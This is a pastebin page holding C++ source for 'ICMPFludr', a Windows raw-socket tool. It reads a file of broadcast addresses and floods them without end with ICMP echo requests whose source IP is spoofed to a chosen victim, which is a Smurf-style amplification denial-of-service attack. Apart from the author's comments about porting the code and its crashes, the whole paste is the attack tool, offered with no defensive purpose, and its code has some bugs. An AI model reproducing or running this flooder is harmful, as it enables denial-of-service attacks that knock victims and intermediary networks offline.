All pastes #2088215 Raw Edit

Something

public text v1 · immutable
#2088215 ·published 2011-10-09 05:01 UTC
rendered paste body
// i'm disappointed, because what I originally did was remake the code 
// from what I learned.. everything seemed fine, until sendto kept on 
// crashing... well not crashing but something was wrong, either with
// the sock itself or with sockaddr_in structure, but in the end I gave
// in and copied and pasted my FBSD version and just created the different
// protocol structures and edited to run for winsock2, I suck at coding :( 

#include <iostream.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <string.h>
#include <process.h>


struct ip {
    unsigned int ip_hl:4;
    unsigned int ip_v:4;
    unsigned char ip_tos;
    unsigned short ip_len;
    unsigned short ip_id;
    unsigned short ip_off;
    unsigned char ip_ttl;
    unsigned char ip_p;
    unsigned short ip_sum;
    unsigned long ip_src;
    unsigned long ip_dst;
};

struct icmp {
    unsigned char icmp_type;
    unsigned char icmp_code;
    unsigned short icmp_cksum;
};

void usage (char *);

int main (int argc, char *argv[])
{
    if (argc < 4)
        usage(argv[0]);

    int s, on = 1, psize = atoi(argv[3]), delay = atoi(argv[4]),
        id = htons(getpid()), num = 0, bf = 0;
    struct sockaddr_in sin;
    struct ip *ip;
    struct icmp *icmp;
    char *packet;
    int pktsize = sizeof(struct ip) + sizeof(struct icmp) + psize;
    FILE *bcastfile;
    unsigned long bcast[1024];
    char buf[32];
    
    WSADATA wsaData;
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
        cout << "WSAstartup went boom\n";
        exit(1);
    }
    /*read bcast addy's from files, fgets fetches 32 bytes (buf)
     *from the file until it reaches a newlineor EOF, than does checks
     *whether it's a comment, or IP.. if neither it get's dropped */

    if ((bcastfile = fopen(argv[2], "r")) == NULL)
    {
        cout << "Error: fopen()\n";
        exit(-1);
    }

    while(fgets(buf, sizeof buf, bcastfile) != NULL)
    {
        char *p;
        int valid;
        if(buf[0] == '#' || buf[0] == '\n') continue;
        buf[strlen(buf) -1] = '\0';

        for (p = buf, valid = 1; *p != '\0'; p++)
        {
            if ( ! isdigit(*p) && *p != '.')
            {
                cout << "Warning: " << buf << " is an invalid ip\n";
                valid = 0;
                break;
            }
        }

        if (valid)
        {
            bcast[num] = inet_addr(buf);
            num ++;
            if (num == 1024)
                break;
        }
    }

    /*set up socket :)*/

    if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
    {
        cout << "Error: socket()\n";
        exit(-1);
    }
    if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
    {
        cout << "Error: setsockopt()\n";
        exit(-1);
    }

    /* set up protocol structure */

    sin.sin_port = htons(0);
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = inet_addr(argv[1]);

    /*mmmmm packet filling *drool* */

    packet = (char *) malloc(pktsize);
    ip = (struct ip *) packet;
    icmp = (struct icmp *) (packet + sizeof(struct ip));

    memset(packet, '\0', pktsize);

    ip->ip_v = 4;
    ip->ip_hl = 5;
    ip->ip_tos = 0;
    ip->ip_len = htons(pktsize);
    ip->ip_ttl = 255;
    ip->ip_off = 0;
    ip->ip_id = id;
    ip->ip_p = IPPROTO_ICMP;
    ip->ip_sum = 0;
    ip->ip_src = sin.sin_addr.s_addr;
    ip->ip_dst = bcast[bf];

    icmp->icmp_type = 8;
    icmp->icmp_code = 0;
    icmp->icmp_cksum = htons(~(8 << 8));

    /* CHARGEEEEEEEE */

    while(1)
    {
        bf = 0;
        while(bf < num)
        {


            if (sendto(s, packet, pktsize, 0, (struct sockaddr *)&sin,
                       sizeof(struct sockaddr)) == -1)
            {
                cout << "Error: sendto()\n";
                free(packet);
                exit(-1);
            }
            id++;
            bf++;
            ip->ip_id = id;
            ip->ip_dst = bcast[bf];
            Sleep(delay);

        }
        cout << ".";
    }
    return 0;
}

void usage (char *s)
{
    cout << "ICMPFludr V1.0\nUsage: " << s << " <source addy> <bcast file> <pktsize> <delay>\n";
    exit(-1);
}